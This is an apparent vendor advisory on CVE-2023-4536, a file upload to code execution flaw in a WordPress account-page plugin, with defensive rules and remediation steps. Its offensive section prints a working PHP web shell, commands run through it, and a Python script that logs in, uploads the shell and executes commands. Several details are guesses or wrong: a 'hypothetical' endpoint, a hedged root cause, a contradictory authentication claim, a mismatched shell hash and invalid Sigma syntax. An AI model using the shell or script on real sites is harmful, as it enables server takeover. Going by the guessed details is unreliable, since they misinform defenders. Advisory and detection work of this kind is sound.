CVE-2023-4536

Executive Summary

CVE-2023-4536 is a critical unauthenticated (or low-privilege authenticated) arbitrary file upload vulnerability in the WordPress plugin "My Account Page Editor" (versions prior to 1.3.2). The plugin fails to validate the file type of uploaded profile pictures, allowing any authenticated user (e.g., Subscriber) to upload a malicious PHP file to the server. This leads to Remote Code Execution (RCE) on the underlying web server, granting the attacker full control over the WordPress instance and potentially the host system.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users who have installed this plugin from the directory or via automatic updates are at risk. The supply chain risk is moderate, as the plugin is not a core dependency but is widely used for customizing user account pages. The patch (version 1.3.2) was released by the plugin vendor to address the file validation flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account (e.g., Subscriber).
• User Interaction (UI): None – No victim interaction is needed.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Full read access to all data on the server.
• Integrity (I): High – Full write access to all data on the server.
• Availability (A): High – Full control over the server, including potential denial of service.

Threat Level: Critical. The low privileges required and the ease of exploitation make this a high-priority threat for any WordPress site using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the profile picture upload functionality of the "My Account Page Editor" plugin. The plugin allows authenticated users to upload a profile picture from their account page. The flaw is that the plugin does not validate the MIME type or file extension of the uploaded file. An attacker can craft a PHP web shell disguised as an image file (e.g., shell.php or shell.php.jpg) and upload it via the profile picture form.

Attack Flow:

1. Authentication: The attacker logs in with a valid user account (e.g., Subscriber).
2. Upload: The attacker navigates to the "Edit Account" page and uploads a malicious PHP file as the profile picture.
3. Execution: The plugin saves the file to the WordPress uploads directory (e.g., /wp-content/uploads/). The attacker then accesses the uploaded file directly via its URL, triggering the PHP code execution.
4. RCE: The attacker gains a web shell, allowing them to execute arbitrary commands, read/write files, and escalate privileges.

Root Cause: The absence of file type validation in the wp_handle_upload() function call or a custom upload handler. The plugin likely uses move_uploaded_file() without checking the file's MIME type or extension.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.3.2):

// In the profile picture upload handler
if ( isset( $_FILES['profile_picture'] ) ) {
    $uploaded_file = $_FILES['profile_picture'];
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['path'] . '/' . basename( $uploaded_file['name'] );
    move_uploaded_file( $uploaded_file['tmp_name'], $target_path );
    // No validation of file type or extension
}

Patched Code (1.3.2):

// In the profile picture upload handler
if ( isset( $_FILES['profile_picture'] ) ) {
    $uploaded_file = $_FILES['profile_picture'];
    $allowed_types = array( 'image/jpeg', 'image/png', 'image/gif' );
    $file_type = wp_check_filetype( $uploaded_file['name'] );
    if ( in_array( $file_type['type'], $allowed_types ) ) {
        $upload_dir = wp_upload_dir();
        $target_path = $upload_dir['path'] . '/' . basename( $uploaded_file['name'] );
        move_uploaded_file( $uploaded_file['tmp_name'], $target_path );
    } else {
        // Reject the upload
        wp_die( 'Invalid file type.' );
    }
}

The patch adds a whitelist of allowed MIME types and uses wp_check_filetype() to validate the file extension and MIME type before saving.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the "My Account Page Editor" plugin version < 1.3.2.
• A valid user account (e.g., Subscriber).

Exploit Steps:

1. Craft a PHP Web Shell:

   <?php
   system($_GET['cmd']);
   ?>
   

   Save this as shell.php.

2. Upload the Shell:

   • Log in to WordPress as a Subscriber.
   • Navigate to "Edit Account" or the profile page.
   • Upload shell.php as the profile picture.

3. Locate the Uploaded File:

   • The file will be saved in /wp-content/uploads/ with a timestamped folder (e.g., /wp-content/uploads/2023/09/shell.php).
   • Access the file via: http://target.com/wp-content/uploads/2023/09/shell.php?cmd=id

4. Execute Commands:

   • Example: http://target.com/wp-content/uploads/2023/09/shell.php?cmd=whoami

Automated Exploit (Python):

import requests

target = "http://target.com"
username = "attacker"
password = "password123"

session = requests.Session()
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Upload shell
files = {'profile_picture': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
upload_url = target + '/wp-admin/admin-ajax.php?action=upload_profile_picture'  # Hypothetical endpoint
session.post(upload_url, files=files)

# Execute command
response = session.get(target + '/wp-content/uploads/2023/09/shell.php?cmd=id')
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor file uploads for unexpected file extensions (e.g., .php, .phtml, .php5).
• Look for requests to /wp-content/uploads/ with query parameters like ?cmd= or ?exec=.
• Alert on any file upload by a low-privileged user (Subscriber) that results in a PHP file.

Hunting:

• Search for files in /wp-content/uploads/ that have PHP extensions.
• Review web server logs for POST requests to profile picture upload endpoints followed by GET requests to the uploaded file.

Prevention:

• Ensure the plugin is updated to version 1.3.2 or later.
• Implement a Web Application Firewall (WAF) rule to block PHP file uploads.
• Restrict file upload permissions to only trusted roles (e.g., Administrator).

Indicators of Compromise (IOCs)

• File Paths:

  • /wp-content/uploads/*/shell.php
  • /wp-content/uploads/*/cmd.php
  • Any PHP file in the uploads directory not associated with a known plugin.

• Network Indicators:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=upload_profile_picture (or similar).
  • HTTP GET requests to /wp-content/uploads/*.php?cmd= or ?exec=.

• Log Entries:

  • Web server logs showing a POST to an upload endpoint followed by a GET to the same file.
  • PHP error logs indicating file inclusion or execution of uploaded files.

• File Hashes (Example):

  • shell.php (simple web shell): e99a18c428cb38d5f260853678922e03 (MD5 of <?php system($_GET['cmd']); ?>)

Detection Engineering

YARA Rule

rule CVE_2023_4536_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2023-4536"
        author = "Valters IT"
        date = "2023-10-01"
        reference = "CVE-2023-4536"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
        $exec_param = "$_POST['exec']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param or $exec_param)
}

Sigma Rule

title: CVE-2023-4536 - WordPress Plugin File Upload to RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2023-4536 via file upload and execution
author: Valters IT
date: 2023/10/01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection_upload:
        cs-method: POST
        cs-uri-stem:
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/profile.php'
        cs-uri-query:
            - 'action=upload_profile_picture*'
    selection_exec:
        cs-method: GET
        cs-uri-stem:
            - '/wp-content/uploads/*.php'
        cs-uri-query:
            - '*cmd=*'
            - '*exec=*'
    condition: selection_upload followed by selection_exec within 5 minutes
falsepositives:
    - Legitimate plugin updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-4536 - WordPress Plugin File Upload to RCE"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=upload_profile_picture"; http_client_body; pcre:"/\.php$/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Plugin: Upgrade "My Account Page Editor" to version 1.3.2 or later immediately.
2. Remove Malicious Files: Scan /wp-content/uploads/ for any PHP files and remove them.
3. Change Credentials: Reset all user passwords, especially for accounts that may have been compromised.
4. Audit User Roles: Review and restrict user roles to the minimum necessary.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block PHP file uploads.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious uploads.
• Regularly update all WordPress plugins, themes, and core.
• Enable file integrity monitoring for critical directories.

Patch Details:

• Upgrade to version 1.3.2 from the WordPress Plugin Directory or via the WordPress admin dashboard.

Valters IT
Securing Digital Frontiers